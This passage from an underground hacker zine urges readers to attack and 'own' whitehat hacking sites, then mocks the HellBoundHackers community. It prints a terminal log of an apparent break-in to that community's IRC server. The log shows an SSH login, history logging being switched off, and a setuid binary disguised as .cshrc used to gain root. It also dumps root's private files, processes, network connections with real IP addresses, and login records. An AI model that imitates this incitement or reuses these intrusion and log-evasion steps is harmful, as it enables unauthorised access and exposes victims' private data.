Mixter - The current "Look, we have a real hacker!" member. See his
         Wikipedia entry!
Comrade Smack - The current "I'm fresh and exciting!" member.
psg - why not?

== Motivation Time ==

I hear a lot of rhetoric about taking back the scene. Taking it back from
no-talent whitehats. And I'm all for that - we even did some of that in
this zine. But come on, nobody is claiming such a big piece of the hacker
history cake as cDc is. You want to take back the scene? Well, do it. Wipe
these fuckers off the internet. It's easy and it can be seen by far more
people than someone reading a zine or someone who notices a whitehat blog
disappear.

There are more than enough targets to go around. So pick one and fucking 
0wn it.

Here is a motivational quote from some friends of ours:

	Blend in. Get trusted.
     Trust nobody. Own everybody.
Disclose nothing. Destroy everything.
	 Take back the scene.

EOCF0
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sub Hellboundhackers { ;;;;;;;;;;;;;;;;;;;;;;;;; my $self = shift; own($self, <<'EOHELLBOUNDHACKERS'


There comes a time for every civilization to come to an end. That end could be
a series of violent conflicts that come in waves, or a slow sputtering out 
of interest until it's effectively dead. Occasionally, a community that's slow
to realize that it's out-modded, out-dated, out-gunned and out-classed has to 
be helped along to its eventual demise. 

Such was the case for HellBoundHackers (HBH). HBH is your typical lamer site. 
They have a forum with over 20,000 registered users, lots of stupid articles
that are pointless and don't convey any new information. They also have your
typical administrators that think themselves to be elite hackers. In this case,
despite the name, they're staunchly whitehat advocating "ethical" hacking. 
However, MrCheese and his posse also regard themselves as hacktivists and the
self proclaimed saviours of the Internet. They hack websites whose content they
disagree with and post a defacement. Hmm... does anyone else see the 
contradiction here? 

They also advocate practices such as full-disclosure, and yet they claim to
hate script kiddies. All their "hacking" articles always talk about how you 
should code your own exploits. Too bad none of their members has a clue about
how to do that. 

The members over on HBH also have the typical narrow whitehat perspective. 
Anyone who actually hacks is a script kiddie, regardless of their actual skill
level. This should come as a shock to them... 

So, in accordance with the rules of pr0j3kt m4yh3m, it has been decided that 
HBH needs to die. This comes for all communities; it is inevitable. You can
try to fight it but you will lose. After all, you don't know us, you only know
of us.

And as Raster so bravley said:

08:22 <~ShiroTenryu> I dare you all, hack my network, so you can prove a point!

We'll take that dare Raster. Now, let's take a look at their IRC network:

$ ssh -p 443 deadlyacid@rasterized.net
deadlyacid@rasterized.net's password: 
Last login: Fri Apr 20 14:15:58 2007 from Z.F.0
[deadlyacid@localhost ~]$ unset HISTFILE ; unset SAVEHIST
[deadlyacid@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.20 #1 Mon May 21 23:20:40 EDT 2007 i686 i686 i386 GNU/Linux
[deadlyacid@localhost ~]$ cat /etc/redhat-release
Fedora Core release 4 (Stentz)
[deadlyacid@localhost ~]$ w
 17:10:16 up 3 days, 21:39,  1 user,  load average: 0.02, 0.02, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
deadlyac pts/0    Z.F.0		    17:09    0.00s  0.03s  0.00s w
[deadlyacid@localhost ~]$ # how boring...
[deadlyacid@localhost ~]$ ls -alh
total 48K
drwxr-xr-x   2 deadlyacid deadlyacid 4.0K Apr  7 21:52 .
drwxr-xr-x  26 strayfe    strayfe    4.0K May 14 04:32 ..
-rw-------   1 deadlyacid deadlyacid    2 Apr  7 21:55 .bash_history
-rw-r--r--   1 deadlyacid deadlyacid   24 Sep 13  2006 .bash_logout
-rw-r--r--   1 deadlyacid deadlyacid  191 Sep 13  2006 .bash_profile
-rw-r--r--   1 deadlyacid deadlyacid  124 Sep 13  2006 .bashrc
-rwsr-xr-x   1 root       root       4.8K Sep 13  2006 .cshrc
-rw-r--r--   1 deadlyacid deadlyacid  120 Sep 13  2006 .gtkrc
-rw-------   1 root       root        612 Apr  7 21:50 .viminfo
-rw-r--r--   1 deadlyacid deadlyacid  658 Sep 13  2006 .zshrc
[deadlyacid@localhost ~]$ cat .bash_history
w
[deadlyacid@localhost ~]$ # Let's have some fun. :)
[deadlyacid@localhost ~]$ id
uid=508(deadlyacid) gid=508(deadlyacid) groups=508(deadlyacid)
[deadlyacid@localhost ~]$ ./.cshrc
[root@localhost ~]# unset HISTFILE ; unset SAVEHIST
[root@localhost ~]# id
uid=0(root) gid=0(root) groups=508(deadlyacid)
[root@localhost ~]# cd ~root
[root@localhost root]# ls -alh
total 219M
drwxr-x---  36 root   root    4.0K May  6 18:14 .
drwxr-xr-x  26 root   root    4.0K Jun  5 18:30 ..
-rw-r--r--   1 root   root     14M Oct 24  2006 128 Bit Wep Cracking With Injection!.swf
-rw-r--r--   1 root   root    1.4M Oct 18  2006 59743444-O.jpg
-rw-r--r--   1 root   root    293K Oct 18  2006 all-filters.zip
-rw-------   1 root   root    1.6K Jul  4  2006 anaconda-ks.cfg
-rwxr-xr-x   1 root   root    5.6K Jul 30  2006 a.out
-rw-r--r--   1 root   root    106K Oct 18  2006 ascgen2-0.7.1.zip
-rw-r--r--   1 root   root    631K Oct 18  2006 background_1024x768.png
-rw-r--r--   1 root   root    470K Oct 18  2006 background.png
-rw-------   1 root   root     14K Jun  7 17:36 .bash_history
-rw-r--r--   1 root   root      24 Dec  3  2004 .bash_logout
-rw-r--r--   1 root   root     241 Jan 24 23:00 .bash_profile
-rw-r--r--   1 root   root     176 Dec  3  2004 .bashrc
-rw-r--r--   1 root   root    408K Oct 18  2006 body.ai
drwxr-xr-x   2 root   root    4.0K Aug 10  2006 config
-rw-r--r--   1 root   root    8.0K Oct 18  2006 Constitution.txt
-rw-r--r--   1 root   root     100 Dec  3  2004 .cshrc
-rw-rw-r--   1 Raster Raster  1.8M Jul  4  2006 curl-7.15.4.tar.gz
drwxr-xr-x   2 root   root    4.0K Nov  3  2006 Desktop
-rw-------   1 root   root      24 Feb  4 03:10 .dmrc
drwxr-xr-x   5   1001 wheel   4.0K Oct 13  2006 dsniff-2.3
-rw-r--r--   1 root   root    580K May 27  2002 dsniff-2.3.tar
-rw-r--r--   1 root   root    124K May 27  2002 dsniff-2.3.tar.gz.1
-rw-r--r--   1 root   root    468K Oct 18  2006 Effects.ai
-rw-r--r--   1 root   root     62K Oct 18  2006 Effects.png
drwxr-x---   2 root   root    4.0K Jul  4  2006 .eggcups
drwx------   2 root   root    4.0K Jan  2 18:46 .elinks
-rw-r--r--   1 root   root    280K Oct 18  2006 epsxe160.zip
-rw-------   1 root   root      16 Sep 11  2006 .esd_auth
drwxrwxrwx  19 Raster Raster   12K Sep  2  2006 ethereal-0.99.0
-rw-r--r--   1 root   root     11M Oct 18  2006 framework-2.6.exe
-rw-r--r--   1 root   root    9.2M Oct 18  2006 framework-3.0-beta-1.exe
drwx------   4 root   root    4.0K Mar 21 09:38 .gconf
drwx------   2 root   root    4.0K Mar 21 09:41 .gconfd
drwxr-xr-x   7 root   root    4.0K Feb 27 04:29 gd-2.0.34
-rw-r--r--   1 root   root    3.6M Feb  6 19:41 gd-2.0.34.tar
drwxr-xr-x  21 root   root    4.0K Oct  5  2006 .gimp-2.2
drwxr-xr-x   3 root   root    4.0K Jul  4  2006 .gnome
drwx------   9 root   root    4.0K Feb 24 14:14 .gnome2
drwx------   2 root   root    4.0K Jul  4  2006 .gnome2_private
-rw-r--r--   1 root   root    476K Aug 12  2006 grub.iso
drwxr-xr-x   2 root   root    4.0K Jul  4  2006 .gstreamer-0.8
-rw-r--r--   1 root   root     120 May 22  2005 .gtkrc
-rw-r--r--   1 root   root     128 Jul  4  2006 .gtkrc-1.2-gnome2
-rw-r--r--   1 root   root    688K Oct 18  2006 hldsupdatetool.exe
-rw-rw-r--   1 Raster Raster  6.0M Jul  4  2006 httpd-2.2.2.tar.gz
-rw-------   1 root   root    2.3K Feb 24 14:14 .ICEauthority
-rw-r--r--   1 root   root     97K Oct 18  2006 img001.jpg
-rw-r--r--   1 root   root     16M Oct 18  2006 Immigration3.wmv
-rw-r--r--   1 root   root     33K Oct 18  2006 IN CONGRESS.doc
-rw-r--r--   1 root   root     62K Jul  4  2006 install.log
-rw-r--r--   1 root   root    6.1K Jul  4  2006 install.log.syslog
-rw-r--r--   1 root   root     41K Oct 18  2006 Internship quiz .doc
-rw-r--r--   1 root   root    1.7K Jul 27  2006 invison_cookie.php
drwx------   2 root   root    4.0K Jan 24 22:12 .irssi
drwxr-xr-x   3 root   root    4.0K Aug 12  2006 iso
drwxr-xr-x   3 root   root    4.0K Dec  7  2006 jtr
-rw-r--r--   1 root   root     92K Jun  4  2005 kernel-module-ntfs-2.6.11-1.1369_FC4-2.1.22-0.rr.6.0.i686.rpm
-rw-r--r--   1 root   root     59K Aug 10  2006 KeyGenerator.exe
-rw-r--r--   1 root   root     35M Oct 18  2006 KNOPPIX_V5.0.1CD-2006-06-01-EN.iso
-rw-r--r--   1 root   root    1.7M Oct 18  2006 KNOPPIX_V5.0.1DVD-2006-06-01-EN.iso
drwx------   3 root   root    4.0K Jul  4  2006 .local
-rwxr-xr-x   1 root   root     331 Jan 25 11:01 .login
-rwxr-xr-x   1 root   root    5.5K Jul 30  2006 lptout
-rw-r--r--   1 root   root    1.2K Jul 30  2006 lptout.c
-rw-r--r--   1 root   root    1.2K Jul 30  2006 lptout.c~
drwx------   3 root   root    4.0K Jul  4  2006 .metacity
drwxr-xr-x   3 root   root    4.0K Dec 25 05:20 milk
drwxr-xr-x   3 root   root    4.0K Jul 16  2006 .mozilla
-rwxr-xr-x   1 root   root     996 Jul 26  2006 msn_bot.php
-rw-r--r--   1 root   root     19M Jul  4  2006 mysql-5.0.22.tar.gz
-rw-r--r--   1 root   root    2.3M Jan 22 22:59 mysql_backup.sql
-rw-------   1 root   root     491 Feb  9 16:10 .mysql_history
-rw-rw-r--   1 Raster Raster   41M Jul  4  2006 mysql-max-5.0.22-linux-i686-glibc23.tar.gz
drwxr-xr-x   3 root   root    4.0K Jul  4  2006 .nautilus
drwxr-xr-x   2 root   root    4.0K Nov 27  2006 .ncftp
-rw-r--r--   1 root   root    333K Oct 18  2006 netsvwrap.msi
-rw-r--r--   1 root   root    1.1M Oct 18  2006 nmap-4.11-setup.exe
-rw-r--r--   1 root   root     80K Oct 18  2006 OggMux-0.9.5.1.zip
drwxr-xr-x   3 root   root    4.0K Sep 11  2006 .openoffice.org2.0
-rw-rw-r--   1 Raster Raster  7.8M Jul  4  2006 php-5.1.4.tar.gz
drwxr-xr-x   9   4327    409  4.0K Jan  2 18:53 pine4.64
-rw-r--r--   1 root   root    4.1M Jan  2 18:46 pine4.64.tar.gz
-rw-r--r--   1 root   root    635K Oct 18  2006 Pj64 Build 52 2001-12-22.zip
-rw-r--r--   1 root   root    4.5K Oct 18  2006 podcast.GRF
-rw-r--r--   1 root   root     15M Oct 18  2006 podcast.ogg
-rw-r--r--   1 root   root     24K Oct 18  2006 preamble words.doc
-rw-r--r--   1 root   root    741K Oct 18  2006 prea.wma
-rw-r--r--   1 root   root    454K Oct 18  2006 privoxy_setup_3_0_5.exe
-rw-r--r--   1 root   root    736K Oct 18  2006 Rasterized_background.ai
-rw-r--r--   1 root   root    544K Oct 18  2006 Rasterized_background.png
-rw-------   1 root   root     15K Oct 30  2006 .recently-used
drwxr-xr-x   2 root   root    4.0K Jan  4 21:57 reg
-rw-------   1 root   root     497 Jul  4  2006 .rhn-applet.conf
-rw-r--r--   1 root   root    449K Oct 18  2006 Rose.ai
-rw-r--r--   1 root   root    609K Oct 18  2006 saminside.zip
-rw-r--r--   1 root   root   1019K Oct 18  2006 sc32r240.exe
-rw-r--r--   1 root   root    3.1K Oct 18  2006 SCHOLARSHIPADDRESSES.xls
-rw-r--r--   1 root   root     322 Jul 30  2006 server.php
drwxr-xr--   6 root   root    4.0K Jul  4  2006 serverutils
-rw-r--r--   1 root   root    400K Oct 18  2006 Shannon_Kliffmueller_Brush.ai
-rw-r--r--   1 root   root     39K Oct 18  2006 Shannon_Kliffmueller_test1.doc
-rw-r--r--   1 root   root    4.8K Aug 13  2006 skeleton_botA.php
-rw-r--r--   1 root   root    4.8K Aug 13  2006 skeleton_bot_line.php
-rw-r--r--   1 root   root    4.8K Aug 13  2006 skeleton_bot^.php
-rw-r--r--   1 root   root    4.8K Aug 13  2006 skeleton_bot_.php
-rw-r--r--   1 root   root    4.8K Aug 13  2006 skeleton_bot.php
-rw-r--r--   1 root   root    1.1M Oct 18  2006 smbat_win32bin_1.0.4.zip
-rw-r--r--   1 root   root    167K Oct 18  2006 Sniphere.exe
-rw-r--r--   1 root   root    271K Oct 18  2006 sockscapv235bynitrous_EvGnAzOrKoGxSlXc.zip
-rw-r--r--   1 root   root     337 Jul  8  2006 somthing
drwx------   2 root   root    4.0K Sep  1  2006 .ssh
drwxr-x---   2 root   root    4.0K Apr 14 16:38 .steam
-rw-r--r--   1 root   root    714K Oct 18  2006 SteamInstall.exe
-rw-r--r--   1 root   root    5.7M Oct 18  2006 stick.fla
-rw-r--r--   1 root   root    2.5K Oct 18  2006 stick.swf
-rw-r--r--   1 root   root     129 Dec  3  2004 .tcshrc
drwx------   4 root   root    4.0K Jul 16  2006 .thumbnails
-rw-r--r--   1 root   root     183 Nov 27  2006 tmp
-rw-r--r--   1 root   root      47 Oct 18  2006 Torrent downloaded from Demonoid.com.txt
-rw-r--r--   1 root   root    1.1K Sep 30  2006 torrent.php
drwx------   6 root   root    4.0K Oct  5  2006 .Trash
-rw-------   1 root   root    1.1K May  6 18:14 .viminfo
-rw-r--r--   1 root   root    2.6M Oct 18  2006 Virtual Chess 64.7z
-rw-r--r--   1 root   root    9.8K Oct 18  2006 VolumeC.txt
-rw-r--r--   1 root   root    1.2M Oct 18  2006 vti.zip
drwx------   2 root   root    4.0K Feb 24 17:26 .w3m
drwxr-xr-x   2 root   root     20K Nov  8  2006 win31d
-rw-r--r--   1 root   root    622K Oct 18  2006 winima80.exe
-rw-r--r--   1 root   root    8.7M Nov  8  2006 win.iso
-rw-r--r--   1 root   root    980K Oct 18  2006 Xeon_10.rar
drwxrwxrwx  11   1005   1005  4.0K Oct 30  2006 xine-lib-1.1.2
-rw-r--r--   1 root   root    625K Oct 18  2006 zsnesw142.zip
[root@localhost root]# ps aux
USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root         1  0.0  0.1   1740   576 ?        Ss   Jun05   0:01 init [3]      
root         2  0.0  0.0      0     0 ?        SN   Jun05   0:00 [ksoftirqd/0]
root         3  0.0  0.0      0     0 ?        S    Jun05   0:00 [watchdog/0]
root         4  0.0  0.0      0     0 ?        S<   Jun05   0:00 [events/0]
root         5  0.0  0.0      0     0 ?        S<   Jun05   0:00 [khelper]
root         6  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kthread]
root        56  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kblockd/0]
root        57  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kacpid]
root       133  0.0  0.0      0     0 ?        S<   Jun05   0:00 [ksuspend_usbd]
root       136  0.0  0.0      0     0 ?        S<   Jun05   0:00 [khubd]
root       138  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kseriod]
root       158  0.0  0.0      0     0 ?        S    Jun05   0:00 [pdflush]
root       159  0.0  0.0      0     0 ?        S    Jun05   0:00 [pdflush]
root       160  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kswapd0]
root       161  0.0  0.0      0     0 ?        S<   Jun05   0:00 [aio/0]
root       327  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kpsmoused]
root       346  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kmirrord]
root       353  0.0  0.0      0     0 ?        S<   Jun05   0:00 [ksnapd]
root       366  0.0  0.0      0     0 ?        S<   Jun05   0:02 [kjournald]
root       817  0.0  0.1   1628   516 ?        S<s  Jun05   0:00 udevd
root      1425  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kjournald]
root      1737  0.0  0.1   1608   560 ?        Ss   Jun05   0:00 syslogd -m 0
root      1739  0.0  0.0   1564   392 ?        Ss   Jun05   0:00 klogd -x
rpc       1756  0.0  0.1   1684   528 ?        Ss   Jun05   0:00 portmap
rpcuser   1774  0.0  0.1   1732   704 ?        Ss   Jun05   0:00 rpc.statd
root      1788  0.0  0.0   9852   444 ?        S<sl Jun05   0:00 auditd
root      1792  0.0  0.0      0     0 ?        S<   Jun05   0:00 [kauditd]
root      1822  0.0  0.0   4376   380 ?        Ss   Jun05   0:00 rpc.idmapd
root      1835  0.0  0.1   2152   684 ?        Ss   Jun05   0:00 hcid: processin
root      1839  0.0  0.0   1604   476 ?        Ss   Jun05   0:00 sdpd
root      1869  0.0  0.0      0     0 ?        S<   Jun05   0:00 [krfcommd]
root      2030  0.0  0.1   1792   700 ?        Ss   Jun05   0:00 /usr/sbin/autom
root      2043  0.0  0.1   1784   688 ?        Ss   Jun05   0:00 /usr/sbin/autom
root      2057  0.0  0.0   2732   440 ?        Ss   Jun05   0:00 nifd -n
nobody    2088  0.0  0.1  11380   952 ?        Ssl  Jun05   0:00 mDNSResponder
root      2097  0.0  0.0   1556   464 ?        Ss   Jun05   0:00 /usr/sbin/acpid
root      2106  0.0  0.3   8232  1872 ?        Ss   Jun05   0:00 cupsd
root      2176  0.0  0.2   4376  1068 ?        Ss   Jun05   0:04 /usr/sbin/sshd
ntp       2187  0.0  0.7   4040  4040 ?        SLs  Jun05   0:00 ntpd -u ntp:ntp
root      2248  0.0  0.2   4376  1248 ?        S    Jun05   0:00 /bin/sh /usr/bi
mysql     2283  0.1  3.9 115344 20456 ?        Sl   Jun05  10:04 /usr/libexec/my
nobody    2308  0.0  0.2   5240  1096 ?        Ss   Jun05   0:00 proftpd: (accep
root      2325  0.0  0.4   7944  2072 ?        Ss   Jun05   0:00 sendmail: accep
smmsp     2331  0.0  0.3   6948  1668 ?        Ss   Jun05   0:00 sendmail: Queue
root      2340  0.0  0.0   1772   348 ?        Ss   Jun05   0:00 gpm -m /dev/inp
root      2348  0.0  0.1   4540   948 ?        Ss   Jun05   0:00 crond
xfs       2369  0.0  0.2   3356  1492 ?        Ss   Jun05   0:00 xfs -droppriv -
root      2384  0.0  0.0   1784   432 ?        Ss   Jun05   0:00 /usr/sbin/atd
dbus      2392  0.0  0.1   2552   852 ?        Ss   Jun05   0:00 dbus-daemon --s
root      2403  0.0  0.1   2928   968 ?        Ss   Jun05   0:00 cups-config-dae
root      2412  0.0  0.4   4196  2364 ?        Ss   Jun05   0:00 hald --retain-p
root      2417  0.0  0.1   2132   692 ?        S    Jun05   0:00 hald-addon-acpi
root      2433  0.0  0.1   2136   712 ?        S    Jun05   1:09 hald-addon-stor
root      2437  0.0  0.1   2140   708 ?        S    Jun05   0:00 hald-addon-stor
root      2449  0.0  0.0   1544   420 tty2     Ss+  Jun05   0:00 /sbin/mingetty
root      2450  0.0  0.0   1548   428 tty3     Ss+  Jun05   0:00 /sbin/mingetty
root      2451  0.0  0.0   1548   428 tty4     Ss+  Jun05   0:00 /sbin/mingetty
root      2452  0.0  0.0   1544   424 tty5     Ss+  Jun05   0:00 /sbin/mingetty
root      2453  0.0  0.0   1544   424 tty6     Ss+  Jun05   0:00 /sbin/mingetty
root      2606  0.0  0.2   4040  1344 ?        S    Jun05   0:00 ntpd -u ntp:ntp
root      7034  0.0  1.2  14480  6248 ?        Ss   Jun06   0:00 /www/bin/httpd
daemon    7035  0.0  1.1  14624  6032 ?        S    Jun06   0:00 /www/bin/httpd
daemon    7036  0.0  1.1  14616  6048 ?        S    Jun06   0:00 /www/bin/httpd
daemon    7037  0.0  1.1  14720  6052 ?        S    Jun06   0:00 /www/bin/httpd
daemon    7038  0.0  1.1  14608  5984 ?        S    Jun06   0:00 /www/bin/httpd
daemon    7039  0.0  1.1  14740  6044 ?        S    Jun06   0:00 /www/bin/httpd
root      7059  0.0  0.3   8136  1600 ?        Ss   Jun06   0:00 smbmount \\RAST
root      7071  0.0  0.0      0     0 ?        S<   Jun06   0:01 [smbiod]
root      7073  0.0  0.3   8136  1748 ?        Ss   Jun06   0:00 smbmount \\RAST
daemon    7427  0.0  1.1  14740  6052 ?        S    Jun06   0:00 /www/bin/httpd
root     12063  0.0  0.0   1544   424 tty1     Ss+  Jun07   0:00 /sbin/mingetty
gumbie   19619  0.0  0.2   5164  1492 ?        Ss   Jun06   0:00 SCREEN -e^Tt
gumbie   19620  0.0  0.2   4508  1488 pts/2    Ss+  Jun06   0:00 /bin/bash
ircd     19711  0.0  0.7   6516  3676 ?        S    Jun06   0:38 /home/ircd/Unre
gumbie   20214  0.0  0.2   4512  1488 pts/3    Ss   Jun06   0:00 /bin/bash
root     20232  0.0  0.2   4408  1160 pts/3    S    Jun06   0:00 su -
root     20233  0.0  0.2   4508  1512 pts/3    S    Jun06   0:00 -bash
root     20380  0.0  0.1   3924   616 pts/3    T    Jun06   0:00 tail -F /var/lo
root     20972  0.0  0.4   7236  2224 ?        Ss   17:09   0:00 sshd: deadlyaci
508      20975  0.0  0.3   7236  1660 ?        S    17:09   0:00 sshd: deadlyaci
508      20976  0.0  0.2   4376  1420 pts/0    Ss   17:09   0:00 -bash
root     21065  0.0  0.2   4380  1412 pts/0    S    17:12   0:00 /bin/bash
root     21099  0.0  0.1   4480   920 pts/0    R+   17:13   0:00 ps aux
root     22638  0.9  0.5   7500  3008 ?        S    Jun06  42:18 /sbin/mingetty
gumbie   28145  0.0  0.2   4512  1488 pts/4    Ss   Jun06   0:00 /bin/bash
root     28163  0.0  0.2   4412  1160 pts/4    S    Jun06   0:00 su -
root     28166  0.0  0.2   4512  1480 pts/4    S+   Jun06   0:00 -bash
root     29438  0.0  0.2   4408  1160 pts/3    S    Jun08   0:00 su - ircd
ircd     29439  0.0  0.2   4508  1496 pts/3    S+   Jun08   0:00 -bash
daemon   29803  0.0  1.1  14624  5940 ?        S    Jun08   0:00 /www/bin/httpd
[root@localhost root]# netstat -anvp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:8067                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6661                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6662                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6663                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:37383               0.0.0.0:*                   LISTEN      1774/rpc.statd      
tcp        0      0 0.0.0.0:6664                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6697                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6665                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6666                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:3306                0.0.0.0:*                   LISTEN      2283/mysqld         
tcp        0      0 0.0.0.0:6667                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6668                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6669                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:6670                0.0.0.0:*                   LISTEN      19711/ircd          
tcp        0      0 0.0.0.0:111                 0.0.0.0:*                   LISTEN      1756/portmap        
tcp        0      0 127.0.0.1:631               0.0.0.0:*                   LISTEN      2106/cupsd          
tcp        0      0 127.0.0.1:5335              0.0.0.0:*                   LISTEN      2088/mDNSResponder  
tcp        0      0 127.0.0.1:25                0.0.0.0:*                   LISTEN      2325/sendmail: acce 
tcp        0      0 192.168.39.2:6667           68.184.61.212:65190         ESTABLISHED 19711/ircd          
tcp        0      0 192.168.39.2:6667           74.69.17.126:3679           ESTABLISHED 19711/ircd          
tcp        0      0 192.168.39.2:6697           74.69.17.126:1081           ESTABLISHED 19711/ircd          
tcp        0      0 192.168.39.2:6667           192.168.38.254:4257         ESTABLISHED 19711/ircd          
tcp        0    275 192.168.39.2:6667           87.228.211.185:33726        ESTABLISHED 19711/ircd          
tcp        0      0 192.168.39.2:6667           68.184.61.212:55636         ESTABLISHED 19711/ircd          
tcp        0      0 192.168.39.2:58182          80.248.208.223:8067         ESTABLISHED 19711/ircd          
tcp        0      0 192.168.39.2:6667           85.210.140.33:1075          ESTABLISHED 19711/ircd          
tcp        0      0 :::2121                     :::*                        LISTEN      2308/proftpd: (acce 
tcp        0      0 :::80                       :::*                        LISTEN      7034/httpd          
tcp        0      0 :::443                      :::*                        LISTEN      2176/sshd           
tcp        0   4032 ::ffff:192.168.39.2:443     ::ffff:68.110.245.75:42225  ESTABLISHED 20972/sshd: deadlya 
udp        0      0 0.0.0.0:32769               0.0.0.0:*                               1774/rpc.statd      
udp        0      0 0.0.0.0:678                 0.0.0.0:*                               1774/rpc.statd      
udp        0      0 0.0.0.0:5353                0.0.0.0:*                               2088/mDNSResponder  
udp        0      0 0.0.0.0:111                 0.0.0.0:*                               1756/portmap        
udp        0      0 0.0.0.0:631                 0.0.0.0:*                               2106/cupsd          
udp        0      0 192.168.1.104:123           0.0.0.0:*                               2187/ntpd           
udp        0      0 127.0.0.1:123               0.0.0.0:*                               2187/ntpd           
udp        0      0 0.0.0.0:123                 0.0.0.0:*                               2187/ntpd           
udp        0      0 :::123                      :::*                                    2187/ntpd           
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path
unix  2      [ ACC ]     STREAM     LISTENING     6161   2369/xfs            /tmp/.font-unix/fs7100
unix  2      [ ACC ]     STREAM     LISTENING     5947   2308/proftpd: (acce /var/run/proftpd/proftpd.sock
unix  2      [ ACC ]     STREAM     LISTENING     5340   1839/sdpd           /var/run/sdp
unix  2      [ ACC ]     STREAM     LISTENING     5598   2097/acpid          /var/run/acpid.socket
unix  2      [ ACC ]     STREAM     LISTENING     6346   2412/hald           @/tmp/hald-local/dbus-8cOmtkhurl
unix  2      [ ACC ]     STREAM     LISTENING     6200   2392/dbus-daemon    /var/run/dbus/system_bus_socket
unix  2      [ ]         DGRAM                    3321   817/udevd           @udevd
unix  2      [ ACC ]     STREAM     LISTENING     6017   2308/proftpd: (acce /var/run/proftpd/proftpd.sock
unix  2      [ ACC ]     STREAM     LISTENING     5917   2283/mysqld         /var/lib/mysql/mysql.sock
unix  2      [ ]         DGRAM                    6347   2412/hald           @/var/run/hal/hotplug_socket2
unix  16     [ ]         DGRAM                    5069   1737/syslogd        /dev/log
unix  2      [ ACC ]     STREAM     LISTENING     6121   2340/gpm            /dev/gpmctl
unix  3      [ ]         STREAM     CONNECTED     1239792 20972/sshd: deadlya 
unix  3      [ ]         STREAM     CONNECTED     1239791 20975/0             
unix  2      [ ]         DGRAM                    257889 19711/ircd          
unix  2      [ ]         DGRAM                    74470  7073/smbmount       
unix  2      [ ]         DGRAM                    74424  7059/smbmount       
unix  2      [ ]         DGRAM                    7179   2606/ntpd           
unix  3      [ ]         STREAM     CONNECTED     6601   2392/dbus-daemon    /var/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     6600   2412/hald           
unix  3      [ ]         STREAM     CONNECTED     6590   2412/hald           @/tmp/hald-local/dbus-8cOmtkhurl
unix  3      [ ]         STREAM     CONNECTED     6587   2437/hald-addon-sto 
unix  3      [ ]         STREAM     CONNECTED     6575   2412/hald           @/tmp/hald-local/dbus-8cOmtkhurl
unix  3      [ ]         STREAM     CONNECTED     6572   2433/hald-addon-sto 
unix  3      [ ]         STREAM     CONNECTED     6514   2097/acpid          /var/run/acpid.socket
unix  3      [ ]         STREAM     CONNECTED     6513   2417/hald-addon-acp 
unix  3      [ ]         STREAM     CONNECTED     6520   2412/hald           @/tmp/hald-local/dbus-8cOmtkhurl
unix  3      [ ]         STREAM     CONNECTED     6512   2417/hald-addon-acp 
unix  3      [ ]         STREAM     CONNECTED     6335   2392/dbus-daemon    /var/run/dbus/system_bus_socket
unix  3      [ ]         STREAM     CONNECTED     6334   2403/cups-config-da 
unix  3      [ ]         STREAM     CONNECTED     6205   2392/dbus-daemon    
unix  3      [ ]         STREAM     CONNECTED     6204   2392/dbus-daemon    
unix  2      [ ]         DGRAM                    6118   2348/crond          
unix  2      [ ]         DGRAM                    6106   2340/gpm            
unix  2      [ ]         DGRAM                    6096   2331/clientmqueue   
unix  2      [ ]         DGRAM                    6088   2325/sendmail: acce 
unix  2      [ ]         DGRAM                    5818   2187/ntpd           
unix  2      [ ]         DGRAM                    5288   1839/sdpd           
unix  2      [ ]         DGRAM                    5286   1835/hcid: processi 
unix  3      [ ]         STREAM     CONNECTED     5270   1822/rpc.idmapd     
unix  3      [ ]         STREAM     CONNECTED     5269   1822/rpc.idmapd     
unix  2      [ ]         DGRAM                    5162   1788/auditd         
unix  2      [ ]         DGRAM                    5122   1774/rpc.statd      
unix  2      [ ]         DGRAM                    5072   1739/klogd          
netstat: no support for `AF IPX' on this system.
netstat: no support for `AF AX25' on this system.
netstat: no support for `AF X25' on this system.
netstat: no support for `AF NETROM' on this system.
[root@localhost root]# lastlog
Username         Port     From             Latest
root             pts/0    rastering.raster Tue Jun  5 20:50:25 -0400 2007
bin                                        **Never logged in**
daemon                                     **Never logged in**
adm                                        **Never logged in**
lp                                         **Never logged in**
sync                                       **Never logged in**
shutdown                                   **Never logged in**
halt                                       **Never logged in**
mail                                       **Never logged in**
news                                       **Never logged in**
uucp                                       **Never logged in**
operator                                   **Never logged in**
games                                      **Never logged in**
gopher                                     **Never logged in**
ftp                                        **Never logged in**
nobody                                     **Never logged in**
dbus                                       **Never logged in**
vcsa                                       **Never logged in**
rpm                                        **Never logged in**
haldaemon                                  **Never logged in**
pcap                                       **Never logged in**
nscd                                       **Never logged in**
named                                      **Never logged in**
netdump                                    **Never logged in**
sshd                                       **Never logged in**
rpc                                        **Never logged in**
mailnull                                   **Never logged in**
smmsp                                      **Never logged in**
rpcuser                                    **Never logged in**
nfsnobody                                  **Never logged in**
apache                                     **Never logged in**
xfs                                        **Never logged in**
ntp                                        **Never logged in**
gdm                                        **Never logged in**
